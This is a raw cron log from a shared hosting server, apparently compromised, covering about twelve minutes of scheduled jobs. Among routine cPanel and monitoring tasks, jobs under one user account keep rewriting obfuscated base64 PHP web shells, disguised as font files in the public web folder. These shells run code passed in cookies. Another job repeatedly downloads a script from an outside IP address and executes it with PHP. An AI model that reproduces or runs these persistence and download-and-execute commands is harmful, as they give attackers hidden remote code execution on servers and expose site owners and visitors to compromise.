Sep 12 09:32:01 ip-184-168-122-23 CROND[2614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:32:01 ip-184-168-122-23 CROND[2615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:32:01 ip-184-168-122-23 CROND[2616]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:33:02 ip-184-168-122-23 CROND[2708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:33:02 ip-184-168-122-23 CROND[2709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:33:02 ip-184-168-122-23 CROND[2713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:33:02 ip-184-168-122-23 CROND[2712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:34:01 ip-184-168-122-23 CROND[2873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:34:01 ip-184-168-122-23 CROND[2874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:34:01 ip-184-168-122-23 CROND[2875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:34:01 ip-184-168-122-23 CROND[2877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:34:01 ip-184-168-122-23 CROND[2876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:35:01 ip-184-168-122-23 CROND[2976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:35:01 ip-184-168-122-23 CROND[2979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:35:01 ip-184-168-122-23 CROND[2980]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 09:35:01 ip-184-168-122-23 CROND[2984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:35:01 ip-184-168-122-23 CROND[2982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:35:01 ip-184-168-122-23 CROND[2985]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:35:01 ip-184-168-122-23 CROND[2978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:35:01 ip-184-168-122-23 CROND[2983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:36:01 ip-184-168-122-23 CROND[3188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:36:01 ip-184-168-122-23 CROND[3189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:36:02 ip-184-168-122-23 CROND[3192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:36:02 ip-184-168-122-23 CROND[3193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:36:02 ip-184-168-122-23 CROND[3194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:37:01 ip-184-168-122-23 CROND[3316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:37:01 ip-184-168-122-23 CROND[3317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:37:01 ip-184-168-122-23 CROND[3321]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:37:01 ip-184-168-122-23 CROND[3324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:38:01 ip-184-168-122-23 CROND[3434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:38:01 ip-184-168-122-23 CROND[3435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:38:01 ip-184-168-122-23 CROND[3439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:38:01 ip-184-168-122-23 CROND[3442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:38:01 ip-184-168-122-23 CROND[3441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:39:02 ip-184-168-122-23 CROND[3555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:39:02 ip-184-168-122-23 CROND[3554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:39:02 ip-184-168-122-23 CROND[3556]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 09:39:02 ip-184-168-122-23 CROND[3557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:39:02 ip-184-168-122-23 CROND[3558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:40:01 ip-184-168-122-23 CROND[3661]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:40:02 ip-184-168-122-23 CROND[3664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:40:02 ip-184-168-122-23 CROND[3666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:40:02 ip-184-168-122-23 CROND[3667]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:40:02 ip-184-168-122-23 CROND[3668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:40:02 ip-184-168-122-23 CROND[3669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:40:02 ip-184-168-122-23 CROND[3671]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:40:02 ip-184-168-122-23 CROND[3670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:41:01 ip-184-168-122-23 CROND[3948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:41:01 ip-184-168-122-23 CROND[3951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:41:01 ip-184-168-122-23 CROND[3952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:41:01 ip-184-168-122-23 CROND[3953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:42:01 ip-184-168-122-23 CROND[4053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:42:01 ip-184-168-122-23 CROND[4054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:42:01 ip-184-168-122-23 CROND[4058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:42:01 ip-184-168-122-23 CROND[4055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:42:01 ip-184-168-122-23 CROND[4056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:43:01 ip-184-168-122-23 CROND[4166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:43:01 ip-184-168-122-23 CROND[4169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:43:01 ip-184-168-122-23 CROND[4168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:43:01 ip-184-168-122-23 CROND[4170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:44:01 ip-184-168-122-23 CROND[4271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
